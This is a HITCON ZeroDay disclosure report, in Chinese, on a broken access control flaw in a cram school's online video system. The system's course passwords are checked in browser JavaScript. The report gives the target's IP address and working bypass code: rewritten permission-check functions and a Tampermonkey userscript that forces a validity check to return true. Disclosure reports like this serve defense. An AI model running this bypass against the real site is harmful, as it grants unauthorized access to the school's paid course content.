Vulnerability Detail Report
Vulnerability Overview
- ZDID: ZD-2024-00744
- Vendor: 夢程補習班
- Title: 夢程補習班 雲端學習系統 權限控制失效
- Introduction: 密碼在本地比對,可以修改js跳過密碼直接存取影片
處理狀態
目前狀態
公開
Last Update : 2024/08/26
-
新提交
-
已審核
-
已通報
-
未回報修補狀況
-
未複測
-
公開
處理歷程
- 2024/06/26 12:51:37 : 新提交 (由 ergs0204 更新此狀態)
- 2024/06/27 18:09:37 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2024/07/10 17:59:37 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2024/07/10 17:59:37 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2024/07/10 17:59:38 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2024/08/26 03:00:14 : 公開 (由 HITCON ZeroDay 平台自動更新)
詳細資料
- ZDID:ZD-2024-00744
- 通報者:ergs0204 (ergs0204)
- 風險:低
- 類型:存取控制缺陷 (Broken Access Control)
參考資料
攻擊者可經由該漏洞取得、修改、刪除系統中的其他使用者的資料,或連線至高權限使用者的頁面。
OWASP Top 10 - 2017 A5 - Broken Access Control
https://www.owasp.org/index.php/Top_10-2017_A5-Broken_Access_Control
CWE-284: Improper Access Control
https://cwe.mitre.org/data/definitions/284.html
OWASP Top 10 - 2017 A5 - Broken Access Control
https://www.owasp.org/index.php/Top_10-2017_A5-Broken_Access_Control
CWE-284: Improper Access Control
https://cwe.mitre.org/data/definitions/284.html
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)
相關網址
http://125.228.93.189/
http://125.228.93.189/books/user1/index.html
http://125.228.93.189/books/user1/index.html
敘述
部分課程,如:0601,使用checkPermitHome函數將加密密碼解碼並與使用者輸入之密碼比對,然而可以更改函數直接進入影片列表。
更改為
function checkPermitHome(ipw,ipw_key,iTag){
iipw='';
ics=iTag.split(';');
icstr='';
for(i=0;i<ics.length;i++){
if(/^(\d+)\.\d(\d+)$/.test(ics[i]))icstr+=String.fromCharCode(RegExp.$1-RegExp.$2-273)
}
window.open(icstr,'_top');
}
在進入影片列表會藉由checkValidTime再次確認權限,可以利用tampermonkey在讀取js前修改掉,從而獲取影片列表,或以python request直接獲取頁面內容。
// ==UserScript==
// @run-at document-start
// ==/UserScript==
(function() {
'use strict';
const originalCheckValidTime = window.checkValidTime;
const replaceFunctions = () => {
if (typeof window.checkValidTime === 'function' && window.checkValidTime !== originalCheckValidTime) {
console.log("Original checkValidTime found and will be replaced.");
window.checkValidTime = function() {
return true;
};
}
};
const observer = new MutationObserver((mutations) => {
mutations.forEach((mutation) => {
if (mutation.addedNodes) {
mutation.addedNodes.forEach((node) => {
if (node.tagName === 'SCRIPT') {
replaceFunctions();
}
});
}
});
});
observer.observe(document.documentElement,
childList: true);
window.addEventListener('load', replaceFunctions);
})();
點選影片時會以checkPermit確認權限,如同checkPermitHome可修改直接進入。
function checkPermit(ipw,ipw_key,iTag,wName,isJwp){
iipw='';
ics=iTag.split(';');
icstr='';
for(i=0;i<ics.length;i++){
if(/^(\d+)\.\d(\d+)$/.test(ics[i]))icstr+=String.fromCharCode(RegExp.$1-RegExp.$2-273)
}
if(isJwp==0) window.open(icstr,wName);
else window.open("jcsPlay.htm?"+ getRndNum(1000,9999) +"#item="+encodeURIComponent(icstr),wName);
}擷圖
留言討論
登入後留言
聯絡組織
發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。